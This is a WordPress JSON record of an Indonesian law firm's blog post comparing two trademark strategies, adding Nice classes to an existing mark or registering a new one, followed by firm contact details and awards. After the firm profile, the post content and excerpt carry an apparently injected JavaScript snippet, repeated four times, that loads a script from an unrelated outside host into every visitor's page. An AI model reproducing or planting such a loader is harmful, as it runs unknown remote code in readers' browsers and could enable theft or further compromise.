{"id":6069,"date":"2026-03-11T13:39:49","date_gmt":"2026-03-11T13:39:49","guid":{"rendered":"https:\/\/affa.co.id\/?p=6063"},"modified":"2026-03-11T13:39:49","modified_gmt":"2026-03-11T13:39:49","slug":"tambah-kelas-atau-tambah-merek-strategi-apa-yang-tepat-untuk-bisnis-anda","status":"publish","type":"post","link":"https:\/\/affa.co.id\/bhs\/2026\/03\/11\/tambah-kelas-atau-tambah-merek-strategi-apa-yang-tepat-untuk-bisnis-anda\/","title":{"rendered":"Tambah Kelas atau Tambah Merek? Strategi Apa yang Tepat untuk Bisnis Anda?"},"content":{"rendered":"<p><span style=\"font-weight: 400\">Dalam dunia bisnis yang terus berkembang, tidak jarang sebuah perusahaan memperluas lini produk atau memasuki sektor usaha baru. Pada tahap ini sering muncul pertanyaan penting, \u201cApakah perlindungan Merek cukup diperluas dengan menambah kelas, atau justru perlu mendaftarkan Merek baru?\u201d<\/span><\/p>\n<p><span style=\"font-weight: 400\">Memahami perbedaan strategi ini sangat penting karena keputusan yang diambil akan berdampak pada ruang lingkup perlindungan hukum, strategi <\/span><i><span style=\"font-weight: 400\">branding<\/span><\/i><span style=\"font-weight: 400\">, serta biaya pendaftaran di masa depan.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Memahami Sistem Kelas dalam Pendaftaran Merek<\/b><\/p>\n<p><span style=\"font-weight: 400\">Dalam sistem pendaftaran Merek, setiap permohonan diajukan untuk barang atau jasa tertentu yang diklasifikasikan berdasarkan sistem kelas internasional (<\/span><b><i>Nice Classification<\/i><\/b><span style=\"font-weight: 400\">).<\/span><\/p>\n<p><span style=\"font-weight: 400\">Sebagai contoh:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Kelas 25: pakaian<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Kelas 30: makanan seperti kopi atau biskuit<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Kelas 35: jasa perdagangan atau retail<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Kelas 43: jasa restoran atau kafe<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400\">Apabila suatu bisnis menggunakan satu nama Merek yang sama untuk berbagai jenis produk atau jasa, maka perlindungannya dapat diperluas dengan mendaftarkannya pada semua kelas yang relevan.<\/span><\/p>\n<p><span style=\"font-weight: 400\">Namun dalam praktiknya, tidak semua ekspansi bisnis sebaiknya dilakukan dengan strategi tersebut.<\/span><\/p>\n<p><b><i>Baca juga:<\/i><\/b><span style=\"font-weight: 400\"><br \/>\n<\/span><a href=\"https:\/\/affa.co.id\/bhs\/satu-produk-dengan-banyak-merek-strategi-perlindungan-yang-cerdas-atau-justru-overkill\/\"><span style=\"font-weight: 400\">Satu Produk dengan Banyak Merek: Strategi Perlindungan yang Cerdas atau Justru Overkill?<\/span><\/a><\/p>\n<p>&nbsp;<\/p>\n<p><b>3 Alasan Menambah Kelas jadi Lebih Tepat<\/b><\/p>\n<p><span style=\"font-weight: 400\">Menambah kelas pada Merek yang sudah ada biasanya lebih tepat apabila identitas Merek tetap sama dan digunakan secara konsisten pada berbagai produk atau jasa.<\/span><\/p>\n<p><span style=\"font-weight: 400\">Berikut beberapa situasi yang umum terjadi:<\/span><\/p>\n<ol>\n<li style=\"font-weight: 400\"><b>Ekspansi Produk dengan Merek yang Sama<br \/>\n<\/b><span style=\"font-weight: 400\"><span style=\"font-weight: 400\">Jika perusahaan ingin memperluas lini produk tetapi tetap menggunakan nama Merek yang sama, maka menambah kelas adalah pilihan yang logis.<\/span><\/span>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Contoh:<\/span><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Sebuah perusahaan memiliki Merek \u201cNUSACOFFEE\u201d yang terdaftar untuk kopi dalam Kelas 30. Ketika perusahaan mulai menjual:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">biji kopi kemasan<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">minuman kopi siap minum<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\"><span style=\"font-weight: 400\">kapsul kopi<\/span><\/span>&nbsp;\n<p>Maka perlindungan dapat diperluas ke kelas yang relevan tanpa perlu membuat Merek baru.<\/li>\n<\/ul>\n<\/li>\n<li><b>Merek yang Sudah Kuat dan Memiliki Reputasi<\/b><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\"><span style=\"font-weight: 400\">Jika sebuah Merek sudah dikenal luas di pasar, mempertahankan satu identitas Merek di berbagai kategori produk sering kali menjadi strategi branding yang efektif.<\/span><\/span>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Contoh:<br \/>\n<\/span><span style=\"font-weight: 400\">Perusahaan elektronik yang menggunakan satu Merek untuk berbagai produk seperti:<\/span><\/p>\n<ul>\n<li><span style=\"font-weight: 400\">headphone;<\/span><\/li>\n<li><span style=\"font-weight: 400\">speaker; atau<\/span><\/li>\n<li><span style=\"font-weight: 400\"><span style=\"font-weight: 400\">perangkat audio lainnya.<\/span><\/span>&nbsp;\n<p>Dalam kondisi seperti ini, menambah kelas akan memperkuat perlindungan atas Merek yang sudah memiliki reputasi.<\/li>\n<\/ul>\n<\/li>\n<li><b>Ekspansi ke Jasa yang Masih Berkaitan<\/b><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Banyak bisnis yang awalnya menjual produk, kemudian mulai menawarkan jasa yang berkaitan.<\/span><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Contoh:<\/span><\/li>\n<\/ol>\n<ul>\n<li style=\"list-style-type: none\"><\/li>\n<\/ul>\n<ul>\n<li style=\"list-style-type: none\">\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">produsen kosmetik yang membuka jasa perawatan kecantikan<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\"><span style=\"font-weight: 400\">produsen kopi yang membuka kedai kopi<\/span><\/span>&nbsp;\n<p>Dalam kasus tersebut, menambah kelas jasa dapat memberikan perlindungan yang lebih luas tanpa harus membuat Merek baru.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><b>5 Alasan Mendaftarkan Merek Baru dapat Jadi Pilihan<\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Di sisi lain, terdapat banyak situasi dimana mendaftarkan Merek baru justru merupakan strategi yang lebih tepat dibanding hanya menambah kelas.<\/span><\/p>\n<p>&nbsp;<\/p>\n<ol>\n<li style=\"font-weight: 400\"><b>Target Pasar Berbeda<\/b><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\"><span style=\"font-weight: 400\">Jika produk baru menyasar segmen pasar yang berbeda, penggunaan Merek yang sama belum tentu efektif.<\/span><\/span>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Contoh:<br \/>\n<\/span><span style=\"font-weight: 400\">Perusahaan yang memiliki Merek minuman energi untuk anak muda mungkin ingin memasuki pasar minuman kesehatan premium untuk konsumen dewasa.<\/span><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Dalam situasi seperti ini, Merek baru sering dipilih untuk membangun identitas <\/span><i><span style=\"font-weight: 400\">brand <\/span><\/i><span style=\"font-weight: 400\"><span style=\"font-weight: 400\">yang berbeda.<\/span><\/span>&nbsp;<\/li>\n<li style=\"font-weight: 400\"><b>Perbedaan Karakter Produk yang Signifikan<br \/>\n<\/b>Produk yang sangat berbeda sering kali memerlukan strategi branding yang berbeda pula.Contoh:<br \/>\nSebuah perusahaan teknologi memiliki Merek utama untuk perangkat keras, namun ketika mereka meluncurkan layanan software berbasis langganan, mereka mungkin memilih Merek baru agar <i>positioning<\/i> produk lebih jelas di pasar.<\/li>\n<li style=\"font-weight: 400\"><b>Strategi <\/b><b><i>Multi-Brand<\/i><\/b>\n<p>Banyak perusahaan besar sengaja menggunakan strategi <i>multi-brand <\/i>untuk menjangkau berbagai segmen pasar.&nbsp;<\/p>\n<p>Contoh:<br \/>\nSatu perusahaan dapat memiliki beberapa Merek untuk kategori produk yang sama, tetapi dengan positioning berbeda seperti:<\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Merek premium<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Merek menengah<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\"><span style=\"font-weight: 400\">Merek ekonomis<\/span><\/span>&nbsp;\n<p>Strategi ini memungkinkan perusahaan menghindari konflik citra antar produk.<\/li>\n<\/ul>\n<\/li>\n<li style=\"font-weight: 400\"><b>Menghindari Risiko Jika Satu Merek Bermasalah<br \/>\n<\/b>Menggunakan satu Merek untuk terlalu banyak kategori produk dapat meningkatkan risiko.Apabila suatu saat:<\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">terjadi sengketa hukum<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">reputasi Merek menurun<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">produk tertentu mengalami masalah kualitas<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\"><span style=\"font-weight: 400\">dampaknya bisa merembet ke seluruh lini produk.<\/span><\/span>&nbsp;\n<p>Dengan memiliki Merek yang berbeda, risiko reputasi dapat dipisahkan.<\/li>\n<\/ul>\n<\/li>\n<li style=\"font-weight: 400\"><b>Kolaborasi atau Sub-Brand Baru<br \/>\n<\/b>Jika produk baru lahir dari kolaborasi dengan pihak lain atau merupakan proyek khusus, sering kali lebih tepat menggunakan Merek baru.Hal ini memudahkan pengaturan:<\/li>\n<\/ol>\n<ul>\n<li style=\"list-style-type: none\">\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">kepemilikan Merek<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">perjanjian lisensi<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">pengelolaan brand di masa depan.<\/span><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><b>Atau Gabungkan 2 Strategi di Atas<\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Dalam praktik bisnis modern, banyak perusahaan tidak hanya memilih salah satu strategi, tetapi menggabungkan keduanya.<\/span><\/p>\n<p><span style=\"font-weight: 400\">Contohnya adalah dengan menggunakan satu Merek utama <\/span><b><i>(master brand) <\/i><\/b><span style=\"font-weight: 400\">dan menghadirkan beberapa <\/span><b><i>sub-brand<\/i><\/b><span style=\"font-weight: 400\"> atau Merek baru untuk produk tertentu.<\/span><\/p>\n<p><span style=\"font-weight: 400\">Dengan pendekatan ini, perusahaan dapat:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">mempertahankan kekuatan Merek utama<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">sekaligus membangun identitas produk yang lebih spesifik.<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400\">Karena keputusan antara menambah kelas atau mendaftarkan Merek baru sebaiknya tidak hanya dilihat dari sisi administrasi pendaftaran, tetapi juga dari strategi bisnis dan branding jangka panjang.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b><i>Baca juga:<\/i><\/b><\/p>\n<p><a href=\"https:\/\/affa.co.id\/bhs\/branding-baru-by-merek-lama-strategi-efektif-mendaftarkan-merek\/\"><span style=\"font-weight: 400\">\u201cBranding Baru by Merek Lama\u201d \u2013 Strategi Efektif Mendaftarkan Merek?<\/span><\/a><\/p>\n<p>&nbsp;<\/p>\n<p><b>Jika Anda memiliki pertanyaan terkait strategi pendaftaran Merek di dalam dan luar negeri, langsung hubungi kami melalui kanal berikut ini dan dapatkan 15 menit konsultasi GRATIS:<\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">\ud83d\udce9 E-Mail<\/span> <span style=\"font-weight: 400\">: trademark@affa.co.id<\/span><\/p>\n<p><span style=\"font-weight: 400\">\ud83d\udcde Book a Call<\/span> <span style=\"font-weight: 400\">: +62 21 83793812<\/span><\/p>\n<p><span style=\"font-weight: 400\">\ud83d\udcac WhatsApp<\/span> <span style=\"font-weight: 400\">: +62 812 87000 889<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Tentang AFFA: <\/b><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Didirikan pada tahun 1999, AFFA Intellectual Property Rights adalah firma hukum Kekayaan Intelektual (KI) yang berbasis di Indonesia, dengan fokus pada layanan spesifik terkait KI, yang memberikan pendampingan komprehensif kepada Merek dan inovator internasional. AFFA menyediakan layanan terpadu mulai dari pengajuan dan pendaftaran KI, penyusunan dan pencatatan perjanjian lisensi, penegakan hukum atas pelanggaran, hingga komersialisasi KI, dalam lanskap Kekayaan Intelektual Indonesia yang dinamis.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">AFFA telah memperoleh pengakuan luas atas kualitas dan konsistensi layanannya, antara lain melalui penghargaan <\/span><b><i>\u201cBest Boutique Law Firm in Indonesia\u201d<\/i><\/b> <span style=\"font-weight: 400\">dan <\/span><b><i>\u201cIP Enforcement Firm\u201d <\/i><\/b><span style=\"font-weight: 400\">dalam Indonesia Law Firm Awards 2025 yang diselenggarakan oleh <\/span><b><i>Asia Business Law Journal<\/i><\/b><span style=\"font-weight: 400\">, serta tercatat sebagai <\/span><b><i>\u201cRecommended Firm 2024 \u2014 Indonesia\u201d <\/i><\/b><span style=\"font-weight: 400\">dalam publikasi <\/span><b><i>WTR 1000: The World\u2019s Leading Trademark Professionals<\/i><\/b><span style=\"font-weight: 400\">.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Informasi lebih lanjut mengenai AFFA dapat diakses melalui: <\/span><a href=\"http:\/\/www.affa.co.id\"><span style=\"font-weight: 400\">www.affa.co.id<\/span><\/a><span style=\"font-weight: 400\">.<\/span>var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Dalam dunia bisnis yang terus berkembang, tidak jarang sebuah perusahaan memperluas lini produk atau memasuki sektor usaha baru. Pada tahap ini sering muncul pertanyaan penting, \u201cApakah perlindungan Merek cukup diperluas dengan menambah kelas, atau justru perlu mendaftarkan Merek baru?\u201d Memahami perbedaan strategi ini sangat penting karena keputusan yang diambil akan berdampak pada ruang lingkup perlindungan hukum, strategi branding, serta biaya pendaftaran di masa depan. &nbsp; Memahami Sistem Kelas dalam Pendaftaran Merek Dalam sistem pendaftaran Merek, setiap permohonan diajukan untuk barang atau jasa tertentu yang diklasifikasikan berdasarkan sistem kelas internasional (Nice Classification). Sebagai contoh: Kelas 25: pakaian Kelas 30: makanan seperti kopi atau biskuit Kelas 35: jasa perdagangan atau retail Kelas 43: jasa restoran atau kafe Apabila suatu bisnis menggunakan satu nama Merek yang sama untuk berbagai jenis produk atau jasa, maka perlindungannya dapat diperluas dengan mendaftarkannya pada semua kelas yang relevan. Namun dalam praktiknya, tidak semua ekspansi bisnis sebaiknya dilakukan dengan strategi tersebut. Baca juga: Satu Produk dengan Banyak Merek: Strategi Perlindungan yang Cerdas atau Justru Overkill? &nbsp; 3 Alasan Menambah Kelas jadi Lebih Tepat Menambah kelas pada Merek yang sudah ada biasanya lebih tepat apabila identitas Merek tetap sama dan digunakan secara konsisten pada berbagai produk atau jasa. Berikut beberapa situasi yang umum terjadi: Ekspansi Produk dengan Merek yang Sama Jika perusahaan ingin memperluas lini produk tetapi tetap menggunakan nama Merek yang sama, maka menambah kelas adalah pilihan yang logis.&nbsp; Contoh: Sebuah perusahaan memiliki Merek \u201cNUSACOFFEE\u201d yang terdaftar untuk kopi dalam Kelas 30. Ketika perusahaan mulai menjual: biji kopi kemasan minuman kopi siap minum kapsul kopi&nbsp; Maka perlindungan dapat diperluas ke kelas yang relevan tanpa perlu membuat Merek baru. Merek yang Sudah Kuat dan Memiliki Reputasi Jika sebuah Merek sudah dikenal luas di pasar, mempertahankan satu identitas Merek di berbagai kategori produk sering kali menjadi strategi branding yang efektif.&nbsp; Contoh: Perusahaan elektronik yang menggunakan satu Merek untuk berbagai produk seperti: headphone; speaker; atau perangkat audio lainnya.&nbsp; Dalam kondisi seperti ini, menambah kelas akan memperkuat perlindungan atas Merek yang sudah memiliki reputasi. Ekspansi ke Jasa yang Masih Berkaitan Banyak bisnis yang awalnya menjual produk, kemudian mulai menawarkan jasa yang berkaitan. Contoh: produsen kosmetik yang membuka jasa perawatan kecantikan produsen kopi yang membuka kedai kopi&nbsp; Dalam kasus tersebut, menambah kelas jasa dapat memberikan perlindungan yang lebih luas tanpa harus membuat Merek baru. &nbsp; 5 Alasan Mendaftarkan Merek Baru dapat Jadi Pilihan &nbsp; Di sisi lain, terdapat banyak situasi dimana mendaftarkan Merek baru justru merupakan strategi yang lebih tepat dibanding hanya menambah kelas. &nbsp; Target Pasar Berbeda Jika produk baru menyasar segmen pasar yang berbeda, penggunaan Merek yang sama belum tentu efektif.&nbsp; Contoh: Perusahaan yang memiliki Merek minuman energi untuk anak muda mungkin ingin memasuki pasar minuman kesehatan premium untuk konsumen dewasa. Dalam situasi seperti ini, Merek baru sering dipilih untuk membangun identitas brand yang berbeda.&nbsp; Perbedaan Karakter Produk yang Signifikan Produk yang sangat berbeda sering kali memerlukan strategi branding yang berbeda pula.Contoh: Sebuah perusahaan teknologi memiliki Merek utama untuk perangkat keras, namun ketika mereka meluncurkan layanan software berbasis langganan, mereka mungkin memilih Merek baru agar positioning produk lebih jelas di pasar. Strategi Multi-Brand Banyak perusahaan besar sengaja menggunakan strategi multi-brand untuk menjangkau berbagai segmen pasar.&nbsp; Contoh: Satu perusahaan dapat memiliki beberapa Merek untuk kategori produk yang sama, tetapi dengan positioning berbeda seperti: Merek premium Merek menengah Merek ekonomis&nbsp; Strategi ini memungkinkan perusahaan menghindari konflik citra antar produk. Menghindari Risiko Jika Satu Merek Bermasalah Menggunakan satu Merek untuk terlalu banyak kategori produk dapat meningkatkan risiko.Apabila suatu saat: terjadi sengketa hukum reputasi Merek menurun produk tertentu mengalami masalah kualitas dampaknya bisa merembet ke seluruh lini produk.&nbsp; Dengan memiliki Merek yang berbeda, risiko reputasi dapat dipisahkan. Kolaborasi atau Sub-Brand Baru Jika produk baru lahir dari kolaborasi dengan pihak lain atau merupakan proyek khusus, sering kali lebih tepat menggunakan Merek baru.Hal ini memudahkan pengaturan: kepemilikan Merek perjanjian lisensi pengelolaan brand di masa depan. &nbsp; Atau Gabungkan 2 Strategi di Atas &nbsp; Dalam praktik bisnis modern, banyak perusahaan tidak hanya memilih salah satu strategi, tetapi menggabungkan keduanya. Contohnya adalah dengan menggunakan satu Merek utama (master brand) dan menghadirkan beberapa sub-brand atau Merek baru untuk produk tertentu. Dengan pendekatan ini, perusahaan dapat: mempertahankan kekuatan Merek utama sekaligus membangun identitas produk yang lebih spesifik. Karena keputusan antara menambah kelas atau mendaftarkan Merek baru sebaiknya tidak hanya dilihat dari sisi administrasi pendaftaran, tetapi juga dari strategi bisnis dan branding jangka panjang. &nbsp; Baca juga: \u201cBranding Baru by Merek Lama\u201d \u2013 Strategi Efektif Mendaftarkan Merek? &nbsp; Jika Anda memiliki pertanyaan terkait strategi pendaftaran Merek di dalam dan luar negeri, langsung hubungi kami melalui kanal berikut ini dan dapatkan 15 menit konsultasi GRATIS: &nbsp; \ud83d\udce9 E-Mail : trademark@affa.co.id \ud83d\udcde Book a Call : +62 21 83793812 \ud83d\udcac WhatsApp : +62 812 87000 889 &nbsp; Tentang AFFA: Didirikan pada tahun 1999, AFFA Intellectual Property Rights adalah firma hukum Kekayaan Intelektual (KI) yang berbasis di Indonesia, dengan fokus pada layanan spesifik terkait KI, yang memberikan pendampingan komprehensif kepada Merek dan inovator internasional. AFFA menyediakan layanan terpadu mulai dari pengajuan dan pendaftaran KI, penyusunan dan pencatatan perjanjian lisensi, penegakan hukum atas pelanggaran, hingga komersialisasi KI, dalam lanskap Kekayaan Intelektual Indonesia yang dinamis. &nbsp; AFFA telah memperoleh pengakuan luas atas kualitas dan konsistensi layanannya, antara lain melalui penghargaan \u201cBest Boutique Law Firm in Indonesia\u201d dan \u201cIP Enforcement Firm\u201d dalam Indonesia Law Firm Awards 2025 yang diselenggarakan oleh Asia Business Law Journal, serta tercatat sebagai \u201cRecommended Firm 2024 \u2014 Indonesia\u201d dalam publikasi WTR 1000: The World\u2019s Leading Trademark Professionals. &nbsp; Informasi lebih lanjut mengenai AFFA dapat diakses melalui: www.affa.co.id.var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"author":1,"featured_media":6121,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[277,279],"tags":[306,307,308,309,310,314,315,317,318,609,610,618,619,620,298,653,305],"class_list":["post-6069","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-intellectual-property","category-trademark","tag-affa-ipr","tag-intellectual-property","tag-ip","tag-kekayaan-intelektual","tag-ki","tag-your-ip-is-our-expertise","tag-merek-indonesia-bisa","tag-timing-is-everything","tag-trademark","tag-indonesia-trademark-registration","tag-overseas-trademark","tag-indonesia-copyright-registration","tag-indonesia-industrial-design-registration","tag-indonesia-patent-registration","tag-merek","tag-kelas","tag-affa"],"_links":{"self":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/6069","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/comments?post=6069"}],"version-history":[{"count":0,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/6069\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/media\/6121"}],"wp:attachment":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/media?parent=6069"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/categories?post=6069"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/tags?post=6069"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}